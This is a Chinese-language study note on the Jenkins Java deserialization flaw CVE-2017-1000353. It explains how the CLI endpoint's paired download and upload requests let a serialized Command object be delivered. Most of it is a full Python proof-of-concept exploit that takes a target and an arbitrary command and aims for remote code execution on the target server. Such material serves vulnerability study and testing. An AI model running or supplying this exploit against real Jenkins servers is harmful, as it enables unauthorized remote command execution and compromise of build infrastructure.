Jenkins反序列化漏洞cve-2017-1000353

一、漏洞原理：

本地没有环境：参考：https://blogs.securiteam.com/index.php/archives/3171    进行学习理解记录。

首先这是一个java反序列化漏洞，一定是command在序列化信息中，反序列化时候直接执行了该命令。

攻击过程学习：

下文的session是一个uuid，类型4

#可以如下生成
session = uuid.uuid4()

1、首先要发送一个请求，是一个下载请求。这个请求是要启动一个双向数据传输频道。频道的标识就是session。而side字段则是用来标识传输方向

对应在代码段：

def Download(url,session):
    headers = {'Side':'download'}
    headers['Content-type'] = 'application/x-www-form-urlencoded'
    headers['Session'] = session
    headers['Transfer-Encoding'] = 'chunked'
    try:
        response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
    except Exception,ex:
        print ex
        exit(0)
    print response.content

然后是第二个请求：双向信道发送组件，第一个请求被阻塞，一直到第二个请求被发送。此时session与之前保持一致，side改成upload。

数据部分格式规范如下：

（1）前导码

前导码包含一个base64编码的序列化对象。“ 能力 ” 类型的序列化对象只是告诉服务器
客户端具有哪些能力（例如HTTP 分块编码）。

Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

（2）Proto部分 （可能是所说的额外字节）

Proto = 'x00x00x00x00'

（3）payload部分

在前导码和一些额外的字节之后，Jenkins服务器期望类型为Command的序列化对象。由于Jenkins不验证序列化对象，所以可以发送任何序列化对象。

def Payload_Init(command):
    global File_Serialization
    command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
    print command
    return_number = os.system(command)
    if return_number != 0:
        print "Call Jar Packet To Init The Payload Error"
        exit(0)
    File_Serialization = open("./payload.ser","rb").read()

所有第二个数据包发送的数据整合：

def Create_Payload_Chunked():
    yield Premle
    yield Proto
    yield File_Serialization

发送第二个数据包：

def Upload_Chunked(url,session,data):
    headers = {'Side':'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    headers['Transfer-Encoding'] = 'chunked'
    headers['Cache-Control'] = 'no-cache'
    try:    
        response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
    except Exception,ex:
        print ex
        exit(0)

整个攻击流程

def Attack():
    print "start"
    session = str(uuid.uuid4())
    thread_object = threading.Thread(target=Download,args=(Target,session))
    thread_object.start()
    time.sleep(1)
    print "pwn"
    #Upload(URL, session, create_payload())
    Upload_Chunked(Target,session,"asdf")

服务器端对应处理

反序列化command对象

然后这个方法在这里被调用

返回了这个序列化好的对象cmd

read方法调用，把返回的对象赋值给了cmd，也就是被读进一个ReaderThread类型的线程。

该线程由类“ CliEndpointResponse ”中调用的“ upload ”方法触发。

在该方法中，HTTP主体数据被读取，并且调用“notify”方法来通知线程。

整体POC

# -*- coding: utf-8 -*-
"""
援引自:https://7f52.com/?p=450
重构人：陈然
公司：360企业安全集团
"""

#需要引入的库文件
import os
import uuid
import gzip
import zlib
import time
import urllib
import socket
import urllib3
import requests
import threading
from optparse import OptionParser

#全局变量定义：
#Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
Proxy = None#HTTP、HTTPS协议代理设置
Target="http://%s:8080/cli"#攻击目标
Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
Proto = 'x00x00x00x00'
File_Serialization = None
socket.setdefaulttimeout(3)


#全局函数定义
def Payload_Init(command):
    global File_Serialization
    command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
    print command
    return_number = os.system(command)
    if return_number != 0:
        print "Call Jar Packet To Init The Payload Error"
        exit(0)
    File_Serialization = open("./payload.ser","rb").read()

def Download(url,session):
    headers = {'Side':'download'}
    headers['Content-type'] = 'application/x-www-form-urlencoded'
    headers['Session'] = session
    headers['Transfer-Encoding'] = 'chunked'
    try:
        response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
    except Exception,ex:
        print ex
        exit(0)
    print response.content

'''
def Upload(url,session,data):
    headers = {'Side':'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    try:
        response = requests.post(url,data=data,headers=headers,proxies=Proxy)
    except Exception,ex:
        print ex
        exit(0)
'''
        
def Upload_Chunked(url,session,data):
    headers = {'Side':'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    headers['Transfer-Encoding'] = 'chunked'
    headers['Cache-Control'] = 'no-cache'
    try:    
        response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
    except Exception,ex:
        print ex
        exit(0)
    
def Null_Payload():
    yield " "
    
"""    
def Create_Payload():
    payload = Premle + Proto + File_Serialization
    return payload

"""

def Create_Payload_Chunked():
    yield Premle
    yield Proto
    yield File_Serialization

def Attack():
    print "start"
    session = str(uuid.uuid4())
    thread_object = threading.Thread(target=Download,args=(Target,session))
    thread_object.start()
    time.sleep(1)
    print "pwn"
    #Upload(URL, session, create_payload())
    Upload_Chunked(Target,session,"asdf")
    
#程序入口
if __name__ == "__main__":
    parser = OptionParser()  
    parser.add_option("-t","--target",dest="target",help="Target IP address!")
    parser.add_option("-c","--command",dest="command",help="The command to execute!")
    parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
    (options, args) = parser.parse_args()
    optionslist = [options.target,options.command,options.protocol]
    if None in optionslist or "" in optionslist:
        print "Please check your input parameters!"        
    Target = Target%options.target
    command = options.command
    protocol = options.protocol
    if protocol == "HTTP":
        pass
    elif protocol == "HTTPS":
        Target = Target.replace("http","https")
    else:
        print "Unknown Protocol!"
    Payload_Init(command)
    Attack()